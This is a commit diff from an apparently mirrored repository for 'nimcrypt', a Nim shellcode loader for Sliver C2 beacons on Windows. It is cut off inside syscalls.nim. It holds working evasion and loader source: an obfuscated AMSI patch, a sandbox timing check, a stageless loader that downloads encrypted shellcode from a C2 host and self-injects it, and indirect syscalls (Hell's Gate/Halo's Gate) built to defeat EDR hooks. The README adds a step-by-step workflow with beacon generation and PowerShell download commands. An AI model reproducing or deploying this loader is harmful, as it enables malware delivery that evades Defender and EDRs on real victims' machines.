mirror of
https://github.com/Chaelsoo/nimcrypt
synced 2026-08-09 12:02:38 +00:00
Add Stageless Loader
This commit is contained in:
@@ -1,131 +1,202 @@
|
||||
# nimcrypt
|
||||
|
||||
A Sliver shellcode loader written in Nim. Encrypts your Sliver beacon shellcode with AES-256-CBC before dropping it on disk, then decrypts and executes it in memory on the target, keeping the raw shellcode off disk and out of static analysis reach.
|
||||
A Sliver shellcode loader written in Nim targeting Windows x64. Two variants covering the two most common delivery situations. Tested against Windows Defender with real-time protection enabled.
|
||||
|
||||
Tested against Windows Defender with real-time monitoring enabled.
|
||||
## Variants
|
||||
|
||||
## How it works
|
||||
### stager
|
||||
|
||||
### Encryption (your machine)
|
||||
Reads an encrypted shellcode blob from disk, decrypts it in memory, and self-injects. Use this when you already have a file drop primitive and want a small, simple binary.
|
||||
|
||||
`encrypt.py` reads the raw shellcode and encrypts it with AES-256-CBC using a randomly generated 32-byte key and 16-byte IV. The encrypted blob is what gets transferred to the target. The shellcode never touches the target's disk in plaintext, so static analysis and on-write Defender scans see only ciphertext.
|
||||
```
|
||||
loader.exe <shellcode.bin> [key_hex iv_hex]
|
||||
```
|
||||
|
||||
### Loader execution (target machine)
|
||||
Key and IV are optional. If omitted, the file is treated as raw unencrypted shellcode.
|
||||
|
||||
The loader does the following at runtime:
|
||||
### stageless
|
||||
|
||||
1. **Reads** the encrypted shellcode file from disk
|
||||
2. **Decrypts** it in memory using the Windows BCrypt API (AES-256-CBC). The key and IV are passed as arguments at runtime. They never exist in the binary itself
|
||||
3. **Allocates** a memory region with `VirtualAlloc` using `PAGE_READWRITE` permissions
|
||||
4. **Copies** the decrypted shellcode into that region
|
||||
5. **Changes** the memory permissions to `PAGE_EXECUTE_READ` via `VirtualProtect` — the region is now executable but no longer writable (RW → RX)
|
||||
6. **Executes** the shellcode by casting the memory address to a function pointer and calling it
|
||||
Downloads the encrypted blob from your C2 over a raw TCP socket, decrypts it in memory, and self-injects. No file ever touches disk. Use this when you can execute a binary on the target but cannot reliably drop a second file.
|
||||
|
||||
The RW → RX transition is intentional. `PAGE_EXECUTE_READWRITE` (RWX) is a well-known red flag that Defender and EDRs specifically watch for. Allocating as RW first, writing the shellcode, then flipping to RX is the standard approach to avoid that signature.
|
||||
Edit the constants at the top of `stageless/loader.nim` before compiling:
|
||||
|
||||
The decrypted shellcode only exists in memory for the duration of execution. It is never written back to disk.
|
||||
```nim
|
||||
c2Host = "C2_HOST"
|
||||
c2Port = 443'u16
|
||||
c2Path = "/payload.bin"
|
||||
scKey = "..." # 64 hex chars from encrypt.py
|
||||
scIV = "..." # 32 hex chars from encrypt.py
|
||||
```
|
||||
|
||||
## Techniques
|
||||
|
||||
### Sandbox evasion
|
||||
|
||||
The stageless loader calls `Sleep(5000)` on startup and measures actual elapsed time with `GetTickCount64`. If less than 4500ms passed, the process exits. Most automated sandbox environments fast-forward or skip sleeps, causing the check to fail. This runs before any network activity or shellcode execution so sandboxes that inspect network behaviour see nothing.
|
||||
|
||||
### AMSI bypass
|
||||
|
||||
`amsi.nim` patches `AmsiScanBuffer` at runtime using two layers of obfuscation:
|
||||
|
||||
**String hiding via FNV-1a hashing.** The string `AmsiScanBuffer` never appears in the binary. Instead, its FNV-1a hash is computed at compile time and stored as a constant. At runtime the loader walks amsi.dll's export table, hashes each export name, and compares against the stored value to find the function address without ever holding the string in memory.
|
||||
|
||||
**Compile-time XOR obfuscation.** Both the DLL name (`amsi.dll`) and the patch bytes (`xor eax, eax; ret` = `31 C0 C3`) are XOR-encoded at compile time using a random key generated fresh each build via a Python subprocess. The key is embedded as a constant and the bytes are decoded at runtime immediately before use. The raw bytes change every build, breaking static signatures on the patch sequence.
|
||||
|
||||
The patch overwrites the first three bytes of `AmsiScanBuffer` with `xor eax, eax; ret`, making every call return `AMSI_RESULT_CLEAN` regardless of input.
|
||||
|
||||
### Payload encryption
|
||||
|
||||
`encrypt.py` encrypts raw shellcode with AES-256-CBC using a randomly generated 32-byte key and 16-byte IV. The loader decrypts in-place using the Windows BCrypt API, so no third-party crypto library is needed on the target.
|
||||
|
||||
### RW to RX memory transition
|
||||
|
||||
Memory is allocated as `PAGE_READWRITE`, the shellcode is written into it, and then the region is flipped to `PAGE_EXECUTE_READ` before execution. Allocating directly as `PAGE_EXECUTE_READWRITE` is a well-known signature that Defender and EDRs flag explicitly. Separating the write and execute phases avoids that pattern.
|
||||
|
||||
### Indirect syscalls (Hell's Gate + Halo's Gate)
|
||||
|
||||
`stageless/syscalls.nim` bypasses both the Win32 API layer (kernel32.dll) and any ntdll.dll userland hooks placed by EDRs.
|
||||
|
||||
**SSN resolution.** At startup the loader gets ntdll's base address and parses its PE export table, collecting every `Nt*` export sorted by RVA. For each NT function we need, it checks the first four bytes:
|
||||
|
||||
- `4C 8B D1 B8` (`mov r10, rcx; mov eax, imm32`) means the stub is clean and the SSN is read directly from bytes 4-5. This is Hell's Gate.
|
||||
- Anything else means the function prologue has been patched by an EDR hook. In that case the loader walks neighbors in the sorted list until it finds a clean stub, then computes the target SSN as `neighbor_SSN +/- distance`. SSNs increment by one per stub in address order. This is Halo's Gate.
|
||||
|
||||
**Gadget location.** The loader scans the first clean Nt* stub it finds for the byte sequence `0F 05 C3` (`syscall; ret`). This gives an address inside ntdll's image-backed `.text` section that we can reuse.
|
||||
|
||||
**Stub generation.** For each required function a 22-byte stub is written into a single RW page that is flipped to RX before use:
|
||||
|
||||
```
|
||||
4C 8B D1 mov r10, rcx
|
||||
B8 xx xx 00 00 mov eax, <SSN>
|
||||
FF 25 00 00 00 00 jmp qword ptr [rip+0]
|
||||
xx xx xx xx xx xx xx xx gadget address
|
||||
```
|
||||
|
||||
The `jmp [rip+0]` dereferences the 8 bytes immediately following it (the gadget address) and redirects execution into ntdll's existing `syscall; ret` sequence. The `syscall` instruction fires from ntdll's `.text` rather than from our anonymous allocation, defeating any kernel-level tracking of which memory region issued the syscall.
|
||||
|
||||
The four functions covered by indirect syscalls are `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtCreateThreadEx`, and `NtWaitForSingleObject`.
|
||||
|
||||
### Self-injection
|
||||
|
||||
After decryption, the stageless loader allocates a RW region in its own process via `NtAllocateVirtualMemory`, copies the shellcode in with `copyMem`, flips the region to RX via `NtProtectVirtualMemory`, and spawns a thread via `NtCreateThreadEx`. The main thread then blocks indefinitely on `NtWaitForSingleObject`, keeping the process alive while the beacon's goroutines run. All four calls go through the indirect syscall stubs described above.
|
||||
|
||||
Self-injection keeps the call surface minimal. There are no cross-process API calls (`WriteProcessMemory`, `CreateRemoteThread`, etc.), which are the primary detection vectors for classic remote injection.
|
||||
|
||||
## Execution flow (stageless)
|
||||
|
||||
1. Timing check: sleep 5s, exit if elapsed < 4.5s
|
||||
2. AMSI patch: resolve `AmsiScanBuffer` via FNV-1a, overwrite with `xor eax, eax; ret`
|
||||
3. Resolve indirect syscall stubs: parse ntdll exports, find SSNs (Hell's Gate + Halo's Gate), locate `syscall; ret` gadget, write stubs
|
||||
4. Download: raw TCP socket, HTTP GET, strip headers, keep body
|
||||
5. Decrypt: AES-256-CBC via BCrypt in place
|
||||
6. Allocate: `NtAllocateVirtualMemory` in own process (RW) via indirect syscall
|
||||
7. Copy shellcode into the allocation
|
||||
8. Protect: `NtProtectVirtualMemory` to PAGE_EXECUTE_READ via indirect syscall
|
||||
9. Execute: `NtCreateThreadEx` via indirect syscall
|
||||
10. Wait: `NtWaitForSingleObject` on the thread handle via indirect syscall
|
||||
|
||||
## Execution flow (stager)
|
||||
|
||||
1. AMSI patch
|
||||
2. Read shellcode file from disk
|
||||
3. Decrypt if key and IV were provided
|
||||
4. `VirtualAlloc` (RW), copy shellcode, `VirtualProtect` to RX
|
||||
5. Execute via function pointer cast
|
||||
|
||||
## Requirements
|
||||
|
||||
**On your Linux machine:**
|
||||
On your Linux build machine:
|
||||
|
||||
- Nim + nimble (`nimble install winim`)
|
||||
- `x86_64-w64-mingw32-gcc` (mingw-w64)
|
||||
- mingw-w64 (`x86_64-w64-mingw32-gcc`)
|
||||
- Python 3 + pycryptodome (`pip install pycryptodome`)
|
||||
|
||||
## Full workflow
|
||||
|
||||
### 1. Set up Sliver listener
|
||||
### 1. Start a Sliver listener
|
||||
|
||||
```
|
||||
[127.0.0.1] sliver > mtls --lhost 10.10.14.42 --lport 443
|
||||
|
||||
[*] Starting mTLS listener ...
|
||||
[*] Successfully started job #1
|
||||
[server] sliver > mtls --lhost 10.10.14.42 --lport 443
|
||||
```
|
||||
|
||||
### 2. Generate beacon shellcode
|
||||
|
||||
```
|
||||
[127.0.0.1] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols mssql
|
||||
|
||||
[*] Generating new windows/amd64 beacon implant binary (1m0s)
|
||||
[!] Symbol obfuscation is disabled
|
||||
[*] Build completed in 2s
|
||||
[*] Implant saved to /path/to/WICKED_SLIDER.bin
|
||||
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
|
||||
```
|
||||
|
||||
> `--skip-symbols` speeds up build time. `--format shellcode` is required. Do not use `--format exe`.
|
||||
|
||||
### 3. Encrypt the shellcode
|
||||
### 3. Encrypt
|
||||
|
||||
```bash
|
||||
python3 encrypt.py WICKED_SLIDER.bin
|
||||
# [+] encrypted: WICKED_SLIDER_enc.bin (17875072 bytes)
|
||||
# [+] key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
|
||||
# [+] iv: 83b82994e8c512d536f7d42e89d6e761
|
||||
python3 encrypt.py beacon.bin
|
||||
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
|
||||
# iv: 83b82994e8c512d536f7d42e89d6e761
|
||||
```
|
||||
|
||||
Save the key and IV, you need them at runtime.
|
||||
### 4. Set constants and compile
|
||||
|
||||
### 4. Compile the loader
|
||||
Edit `stageless/loader.nim` and set `c2Host`, `c2Port`, `c2Path`, `scKey`, `scIV`, then from the project root:
|
||||
|
||||
```bash
|
||||
nim c -d:release -o:loader.exe loader.nim
|
||||
# stageless
|
||||
nim c -d:release -o:bins/loader.exe stageless/loader.nim
|
||||
|
||||
# stager
|
||||
nim c -d:release -o:bins/loader.exe stager/loader.nim
|
||||
```
|
||||
|
||||
The `nim.cfg` handles all cross-compilation flags automatically. The output is a statically linked Windows x64 PE with no external DLL dependencies beyond standard Windows system libraries.
|
||||
Always compile from the project root so that only the root `nim.cfg` is loaded. The output is a statically linked Windows x64 PE with no external DLL dependencies beyond standard system libraries.
|
||||
|
||||
### 5. Transfer to target
|
||||
### 5. Serve or transfer
|
||||
|
||||
Transfer `loader.exe` and `WICKED_SLIDER_enc.bin` to the target however you have access, certutil, PowerShell WebClient, SMB, etc.
|
||||
Stageless: serve the encrypted blob over HTTP on the port matching `c2Port`:
|
||||
|
||||
```bash
|
||||
cd bins && python3 -m http.server 443
|
||||
```
|
||||
|
||||
Stager: transfer both files to the target:
|
||||
|
||||
```powershell
|
||||
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
|
||||
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/WICKED_SLIDER_enc.bin", "C:\Windows\Temp\beacon.bin")
|
||||
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
|
||||
```
|
||||
|
||||
### 6. Execute
|
||||
|
||||
Stageless:
|
||||
```
|
||||
loader.exe beacon.bin <key> <iv>
|
||||
loader.exe
|
||||
```
|
||||
|
||||
Example:
|
||||
|
||||
Stager with encryption:
|
||||
```
|
||||
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
|
||||
```
|
||||
|
||||
Raw unencrypted shellcode is also supported (no key/IV needed):
|
||||
|
||||
Stager without encryption:
|
||||
```
|
||||
loader.exe shellcode.bin
|
||||
```
|
||||
|
||||
## AMSI patch (PowerShell sessions)
|
||||
## PowerShell delivery
|
||||
|
||||
If you are delivering via PowerShell rather than cmd, AMSI will scan your download cradle. Patch it first:
|
||||
If delivering via a PowerShell download cradle, AMSI will scan the script before the loader runs. Patch AMSI in your PS session first:
|
||||
|
||||
```bash
|
||||
python3 gen_amsi.py
|
||||
```
|
||||
|
||||
Paste the output into your PowerShell session before downloading or executing anything. A fresh randomized patch is generated on every run, with a different XOR key and byte arrays each time, so no two generated scripts share the same pattern.
|
||||
|
||||
The patch works by:
|
||||
- Resolving `AmsiScanBuffer` via export table hash matching (FNV-1a, computed at compile time), the string never appears in the script
|
||||
- Patching via `WriteProcessMemory` on the current process, no `VirtualProtect` call needed
|
||||
- All strings (`amsi.dll`, `AmsiScanBuffer`, the C# P/Invoke definition) are XOR-encoded with the per-run random key
|
||||
|
||||
> AMSI is irrelevant if you are executing `loader.exe` directly from cmd or xp_cmdshell. It only hooks script engines (PowerShell, JScript, .NET). Skip the patch in those cases.
|
||||
Paste the output into the PS session before downloading or executing anything. The script resolves `AmsiScanBuffer` by export table hash so the string never appears in plaintext, and all patch bytes are XOR-encoded with a random per-run key.
|
||||
|
||||
## Notes
|
||||
|
||||
- The loader is statically linked against the mingw pthread runtime, no `libwinpthread-1.dll` required on the target
|
||||
- Requires Windows 10 / Server 2016+ (Universal CRT). Server 2012 R2 works with KB3118401 installed
|
||||
- `BCryptSetProperty` for chaining mode returns `STATUS_INVALID_PARAMETER` but BCrypt defaults to CBC anyway, decryption works correctly
|
||||
- Requires Windows 10 / Server 2016+ (Universal CRT)
|
||||
- `BCryptSetProperty` for chaining mode returns `STATUS_INVALID_PARAMETER` but BCrypt defaults to CBC regardless, decryption works correctly
|
||||
- Indirect syscalls cover only the four injection-critical NT functions. Winsock and BCrypt calls still go through their normal API paths, which is acceptable since those calls are behaviorally benign in isolation
|
||||
- The `syscall` instruction in the stubs fires from inside ntdll's `.text` section (image-backed, Microsoft-signed), not from the stub page, defeating kernel-level syscall origin tracking
|
||||
|
||||
## References
|
||||
|
||||
- [gatariee/ldrgen](https://github.com/gatariee/ldrgen)
|
||||
- [D3Ext/Hooka](https://github.com/D3Ext/Hooka)
|
||||
- https://github.com/gatariee/ldrgen
|
||||
- https://github.com/D3Ext/Hooka
|
||||
|
||||
-103
@@ -1,103 +0,0 @@
|
||||
import winim
|
||||
import std/os
|
||||
import std/strutils
|
||||
import amsi
|
||||
|
||||
proc aesDecrypt(data: var seq[byte], key: openArray[byte], iv: openArray[byte]) =
|
||||
var
|
||||
hAlg: BCRYPT_ALG_HANDLE = nil
|
||||
hKey: BCRYPT_KEY_HANDLE = nil
|
||||
cbResult: ULONG = 0
|
||||
ivCopy = newSeq[byte](iv.len)
|
||||
|
||||
copyMem(addr ivCopy[0], unsafeAddr iv[0], iv.len)
|
||||
|
||||
var r: NTSTATUS
|
||||
|
||||
r = BCryptOpenAlgorithmProvider(addr hAlg, BCRYPT_AES_ALGORITHM, nil, 0)
|
||||
echo "[*] BCryptOpenAlgorithmProvider: 0x", r.toHex()
|
||||
|
||||
var cbcMode = BCRYPT_CHAIN_MODE_CBC
|
||||
r = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
|
||||
cast[PUCHAR](addr cbcMode),
|
||||
ULONG(sizeof(cbcMode)), 0)
|
||||
echo "[*] BCryptSetProperty: 0x", r.toHex()
|
||||
|
||||
r = BCryptGenerateSymmetricKey(hAlg, addr hKey, nil, 0,
|
||||
cast[PUCHAR](unsafeAddr key[0]), ULONG(key.len), 0)
|
||||
echo "[*] BCryptGenerateSymmetricKey: 0x", r.toHex()
|
||||
|
||||
r = BCryptDecrypt(hKey,
|
||||
cast[PUCHAR](addr data[0]), ULONG(data.len),
|
||||
nil,
|
||||
cast[PUCHAR](addr ivCopy[0]), ULONG(iv.len),
|
||||
cast[PUCHAR](addr data[0]), ULONG(data.len),
|
||||
addr cbResult, 0)
|
||||
echo "[*] BCryptDecrypt: 0x", r.toHex(), " cbResult: ", cbResult
|
||||
|
||||
BCryptDestroyKey(hKey)
|
||||
BCryptCloseAlgorithmProvider(hAlg, 0)
|
||||
|
||||
data.setLen(cbResult.int)
|
||||
|
||||
proc parseHexBytes(s: string): seq[byte] =
|
||||
let clean = s.replace(" ", "").replace(",", "").replace("0x", "")
|
||||
result = newSeq[byte](clean.len div 2)
|
||||
for i in 0 ..< result.len:
|
||||
result[i] = byte(parseHexInt(clean[i*2 .. i*2+1]))
|
||||
|
||||
proc main() =
|
||||
patchAmsi()
|
||||
|
||||
if paramCount() < 1:
|
||||
echo "Usage: ", getAppFilename(), " <shellcode.bin> [key_hex iv_hex]"
|
||||
quit(1)
|
||||
|
||||
let filename = paramStr(1)
|
||||
let encrypted = paramCount() >= 3
|
||||
echo "[*] file: ", filename, " | encrypted: ", encrypted
|
||||
|
||||
var f: File
|
||||
if not open(f, filename, fmRead):
|
||||
echo "[-] failed to open: ", filename
|
||||
quit(1)
|
||||
|
||||
let size = f.getFileSize().int
|
||||
var shellcode = newSeq[byte](size)
|
||||
discard f.readBuffer(addr shellcode[0], size)
|
||||
f.close()
|
||||
echo "[*] read ", size, " bytes"
|
||||
|
||||
if encrypted:
|
||||
let key = parseHexBytes(paramStr(2))
|
||||
let iv = parseHexBytes(paramStr(3))
|
||||
echo "[*] key len: ", key.len, " iv len: ", iv.len
|
||||
if key.len != 32 or iv.len != 16:
|
||||
echo "[-] bad key/iv length"
|
||||
quit(1)
|
||||
aesDecrypt(shellcode, key, iv)
|
||||
echo "[*] decrypted size: ", shellcode.len
|
||||
|
||||
echo "[*] allocating ", shellcode.len, " bytes"
|
||||
let buf = VirtualAlloc(nil,
|
||||
SIZE_T(shellcode.len),
|
||||
MEM_COMMIT or MEM_RESERVE,
|
||||
PAGE_READWRITE)
|
||||
if buf == nil:
|
||||
echo "[-] VirtualAlloc failed"
|
||||
quit(1)
|
||||
echo "[*] allocated at 0x", cast[uint](buf).toHex()
|
||||
|
||||
copyMem(buf, addr shellcode[0], shellcode.len)
|
||||
echo "[*] shellcode copied"
|
||||
|
||||
var oldProtect: DWORD = 0
|
||||
let vpRet = VirtualProtect(buf, SIZE_T(shellcode.len), PAGE_EXECUTE_READ, addr oldProtect)
|
||||
echo "[*] VirtualProtect: ", vpRet
|
||||
|
||||
echo "[*] executing..."
|
||||
let fn = cast[proc() {.cdecl.}](buf)
|
||||
fn()
|
||||
echo "[*] returned from shellcode"
|
||||
|
||||
main()
|
||||
@@ -4,5 +4,6 @@ cc = "gcc"
|
||||
gcc.exe = "x86_64-w64-mingw32-gcc"
|
||||
gcc.linkerexe = "x86_64-w64-mingw32-gcc"
|
||||
define = "mingw"
|
||||
passL = "-lbcrypt -s -w -L./lib -static-libgcc -static-libstdc++ -Wl,-Bstatic,--whole-archive -lpthread -Wl,--no-whole-archive,-Bdynamic"
|
||||
threads = "off"
|
||||
passL = "-lbcrypt -s -w -L./lib -static-libgcc -static-libstdc++ -lucrtbase -Wl,--exclude-libs,libucrt.a"
|
||||
opt = "size"
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
import winim/lean
|
||||
import std/strutils
|
||||
|
||||
# Random XOR key generated at compile time via shell - different every build
|
||||
const xorKey = static:
|
||||
let (o, rc) = gorgeEx("python3 -c 'import secrets; print(secrets.randbelow(254)+1)'")
|
||||
if rc == 0: uint8(o.strip().parseInt)
|
||||
else:
|
||||
# fallback: derive from compile timestamp so it still varies per build
|
||||
let t = CompileTime
|
||||
(uint8(ord(t[0])) xor uint8(ord(t[3])) xor uint8(ord(t[6]))) or 1'u8
|
||||
|
||||
proc encodeBytes(s: static string): seq[uint8] {.compileTime.} =
|
||||
result = newSeq[uint8](s.len)
|
||||
for i, c in s:
|
||||
result[i] = uint8(ord(c)) xor xorKey
|
||||
|
||||
# "amsi.dll" stored XOR'd - never plaintext in the binary
|
||||
const encDll = encodeBytes("amsi.dll")
|
||||
|
||||
# Patch bytes: xor eax, eax (0x31 0xC0) ; ret (0xC3)
|
||||
# Stored XOR'd - different raw bytes every build
|
||||
const encPatch = [
|
||||
uint8(0x31) xor xorKey,
|
||||
uint8(0xC0) xor xorKey,
|
||||
uint8(0xC3) xor xorKey,
|
||||
]
|
||||
|
||||
proc decodeStr(enc: openArray[uint8]): string =
|
||||
result = newString(enc.len)
|
||||
for i, b in enc:
|
||||
result[i] = char(b xor xorKey)
|
||||
|
||||
# FNV-1a constants
|
||||
const
|
||||
fnvBasis = 0xcbf29ce484222325'u64
|
||||
fnvPrime = 0x100000000001b3'u64
|
||||
|
||||
# Hash of "AmsiScanBuffer" computed at compile time - string never in binary
|
||||
const scanHash = static:
|
||||
var h = fnvBasis
|
||||
for c in "AmsiScanBuffer":
|
||||
h = (h xor uint64(ord(c))) * fnvPrime
|
||||
h
|
||||
|
||||
proc hashExport(p: ptr UncheckedArray[uint8]): uint64 =
|
||||
result = fnvBasis
|
||||
var i = 0
|
||||
while p[i] != 0:
|
||||
result = (result xor uint64(p[i])) * fnvPrime
|
||||
inc i
|
||||
|
||||
proc findByHash(base: uint, target: uint64): pointer =
|
||||
let dos = cast[ptr IMAGE_DOS_HEADER](base)
|
||||
let nt = cast[ptr IMAGE_NT_HEADERS64](base + uint(dos.e_lfanew))
|
||||
let expRva = uint(nt.OptionalHeader.DataDirectory[0].VirtualAddress)
|
||||
if expRva == 0: return nil
|
||||
|
||||
let exp = cast[ptr IMAGE_EXPORT_DIRECTORY](base + expRva)
|
||||
let names = cast[ptr UncheckedArray[DWORD]](base + uint(exp.AddressOfNames))
|
||||
let ords = cast[ptr UncheckedArray[WORD]](base + uint(exp.AddressOfNameOrdinals))
|
||||
let fns = cast[ptr UncheckedArray[DWORD]](base + uint(exp.AddressOfFunctions))
|
||||
|
||||
for i in 0 ..< int(exp.NumberOfNames):
|
||||
let namePtr = cast[ptr UncheckedArray[uint8]](base + uint(names[i]))
|
||||
if hashExport(namePtr) == target:
|
||||
return cast[pointer](base + uint(fns[ords[i]]))
|
||||
return nil
|
||||
|
||||
proc patchAmsi*() =
|
||||
let dllName = decodeStr(encDll)
|
||||
let hAmsi = cast[uint](LoadLibraryA(dllName))
|
||||
if hAmsi == 0: return
|
||||
|
||||
let fn = findByHash(hAmsi, scanHash)
|
||||
if fn == nil: return
|
||||
|
||||
var old: DWORD = 0
|
||||
discard VirtualProtect(fn, 3, PAGE_EXECUTE_READWRITE, addr old)
|
||||
|
||||
let p = cast[ptr UncheckedArray[uint8]](fn)
|
||||
p[0] = encPatch[0] xor xorKey
|
||||
p[1] = encPatch[1] xor xorKey
|
||||
p[2] = encPatch[2] xor xorKey
|
||||
|
||||
discard VirtualProtect(fn, 3, old, addr old)
|
||||
@@ -0,0 +1,129 @@
|
||||
import winim
|
||||
import winim/lean
|
||||
import std/strutils
|
||||
import amsi
|
||||
import syscalls
|
||||
|
||||
# ── Configuration ──────────────────────────────────────────────────────────
|
||||
const
|
||||
c2Host = "C2_HOST"
|
||||
c2Port = 443'u16
|
||||
c2Path = "/payload.bin"
|
||||
scKey = "DEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEF"
|
||||
scIV = "DEADBEEFDEADBEEFDEADBEEFDEADBEEF"
|
||||
|
||||
# ── Helpers ────────────────────────────────────────────────────────────────
|
||||
proc parseHexBytes(s: string): seq[byte] =
|
||||
let clean = s.replace(" ", "").replace(",", "").replace("0x", "")
|
||||
result = newSeq[byte](clean.len div 2)
|
||||
for i in 0 ..< result.len:
|
||||
result[i] = byte(parseHexInt(clean[i*2 .. i*2+1]))
|
||||
|
||||
proc aesDecrypt(data: var seq[byte]; key, iv: openArray[byte]) =
|
||||
var
|
||||
hAlg: BCRYPT_ALG_HANDLE = nil
|
||||
hKey: BCRYPT_KEY_HANDLE = nil
|
||||
cbResult: ULONG = 0
|
||||
ivCopy = newSeq[byte](iv.len)
|
||||
copyMem(addr ivCopy[0], unsafeAddr iv[0], iv.len)
|
||||
|
||||
discard BCryptOpenAlgorithmProvider(addr hAlg, BCRYPT_AES_ALGORITHM, nil, 0)
|
||||
var cbcMode = BCRYPT_CHAIN_MODE_CBC
|
||||
discard BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
|
||||
cast[PUCHAR](addr cbcMode), ULONG(sizeof(cbcMode)), 0)
|
||||
discard BCryptGenerateSymmetricKey(hAlg, addr hKey, nil, 0,
|
||||
cast[PUCHAR](unsafeAddr key[0]), ULONG(key.len), 0)
|
||||
discard BCryptDecrypt(hKey,
|
||||
cast[PUCHAR](addr data[0]), ULONG(data.len), nil,
|
||||
cast[PUCHAR](addr ivCopy[0]), ULONG(iv.len),
|
||||
cast[PUCHAR](addr data[0]), ULONG(data.len),
|
||||
addr cbResult, 0)
|
||||
BCryptDestroyKey(hKey)
|
||||
BCryptCloseAlgorithmProvider(hAlg, 0)
|
||||
data.setLen(cbResult.int)
|
||||
|
||||
# ── Sandbox evasion: accelerated-time detection ────────────────────────────
|
||||
proc timingCheck() =
|
||||
let t0 = GetTickCount64()
|
||||
Sleep(5000)
|
||||
if GetTickCount64() - t0 < 4500:
|
||||
ExitProcess(0)
|
||||
|
||||
# ── Download encrypted shellcode over raw TCP ──────────────────────────────
|
||||
proc fetchShellcode(): seq[byte] =
|
||||
var wsaData: WSADATA
|
||||
if WSAStartup(MAKEWORD(2, 2), addr wsaData) != 0:
|
||||
ExitProcess(1)
|
||||
|
||||
let sock = socket(AF_INET.cint, SOCK_STREAM.cint, IPPROTO_TCP.cint)
|
||||
if sock == INVALID_SOCKET:
|
||||
WSACleanup(); ExitProcess(1)
|
||||
|
||||
var serv: sockaddr_in
|
||||
serv.sin_family = AF_INET.int16
|
||||
serv.sin_port = htons(c2Port)
|
||||
cast[ptr ULONG](addr serv.sin_addr)[] = inet_addr(c2Host)
|
||||
|
||||
if connect(sock, cast[ptr sockaddr](addr serv), sizeof(serv).cint) == SOCKET_ERROR:
|
||||
closesocket(sock); WSACleanup(); ExitProcess(1)
|
||||
|
||||
let req = "GET " & c2Path & " HTTP/1.0\r\nHost: " & c2Host & "\r\n\r\n"
|
||||
discard send(sock, cstring(req), req.len.cint, 0)
|
||||
|
||||
var raw: seq[byte]
|
||||
var buf: array[4096, byte]
|
||||
while true:
|
||||
let n = recv(sock, cast[cstring](addr buf[0]), buf.len.cint, 0)
|
||||
if n <= 0: break
|
||||
raw.add(buf.toOpenArray(0, n - 1))
|
||||
|
||||
closesocket(sock)
|
||||
WSACleanup()
|
||||
|
||||
var bodyStart = -1
|
||||
for i in 0 .. raw.len - 4:
|
||||
if raw[i] == 0x0D and raw[i+1] == 0x0A and raw[i+2] == 0x0D and raw[i+3] == 0x0A:
|
||||
bodyStart = i + 4
|
||||
break
|
||||
if bodyStart == -1: ExitProcess(1)
|
||||
result = raw[bodyStart .. ^1]
|
||||
|
||||
# ── Inject via direct syscalls (Hell's Gate + Halo's Gate) ────────────────
|
||||
proc injectAndRun(shellcode: var seq[byte]) =
|
||||
let sc = initSyscalls()
|
||||
|
||||
var
|
||||
base: PVOID = nil
|
||||
regionSize: SIZE_T = SIZE_T(shellcode.len)
|
||||
oldProt: ULONG = 0
|
||||
tid: HANDLE = 0
|
||||
|
||||
if sc.NtAllocateVirtualMemory(GetCurrentProcess(), addr base, 0,
|
||||
addr regionSize,
|
||||
MEM_COMMIT or MEM_RESERVE,
|
||||
PAGE_READWRITE) != 0:
|
||||
ExitProcess(1)
|
||||
|
||||
copyMem(base, addr shellcode[0], shellcode.len)
|
||||
|
||||
regionSize = SIZE_T(shellcode.len)
|
||||
if sc.NtProtectVirtualMemory(GetCurrentProcess(), addr base, addr regionSize,
|
||||
PAGE_EXECUTE_READ, addr oldProt) != 0:
|
||||
ExitProcess(1)
|
||||
|
||||
if sc.NtCreateThreadEx(addr tid, ACCESS_MASK(0x1FFFFF), nil,
|
||||
GetCurrentProcess(), base, nil,
|
||||
0, 0, 0, 0, nil) != 0:
|
||||
ExitProcess(1)
|
||||
|
||||
discard sc.NtWaitForSingleObject(tid, FALSE, nil)
|
||||
|
||||
proc main() =
|
||||
timingCheck()
|
||||
patchAmsi()
|
||||
|
||||
var sc = fetchShellcode()
|
||||
aesDecrypt(sc, parseHexBytes(scKey), parseHexBytes(scIV))
|
||||
injectAndRun(sc)
|
||||
|
||||
main()
|
||||
@@ -0,0 +1,150 @@
|
||||
import winim/lean
|
||||
import std/algorithm
|
||||
|
||||
# Indirect syscall stub layout (22 bytes):
|
||||
# 4C 8B D1 mov r10, rcx
|
||||
# B8 xx xx 00 00 mov eax, SSN
|
||||
# FF 25 00 00 00 00 jmp qword ptr [rip+0] <- rip after this = byte 14
|
||||
# xx xx xx xx xx xx xx xx gadget address <- [rip+0] lands here
|
||||
#
|
||||
# syscall fires from ntdll's own .text, not our page.
|
||||
const STUB_SIZE = 22
|
||||
|
||||
type
|
||||
NtAllocateVirtualMemoryFn* = proc(
|
||||
ProcessHandle: HANDLE;
|
||||
BaseAddress: ptr PVOID;
|
||||
ZeroBits: ULONG_PTR;
|
||||
RegionSize: ptr SIZE_T;
|
||||
AllocationType: ULONG;
|
||||
Protect: ULONG): NTSTATUS {.stdcall.}
|
||||
|
||||
NtProtectVirtualMemoryFn* = proc(
|
||||
ProcessHandle: HANDLE;
|
||||
BaseAddress: ptr PVOID;
|
||||
RegionSize: ptr SIZE_T;
|
||||
NewProtect: ULONG;
|
||||
OldProtect: ptr ULONG): NTSTATUS {.stdcall.}
|
||||
|
||||
NtCreateThreadExFn* = proc(
|
||||
ThreadHandle: ptr HANDLE;
|
||||
DesiredAccess: ACCESS_MASK;
|
||||
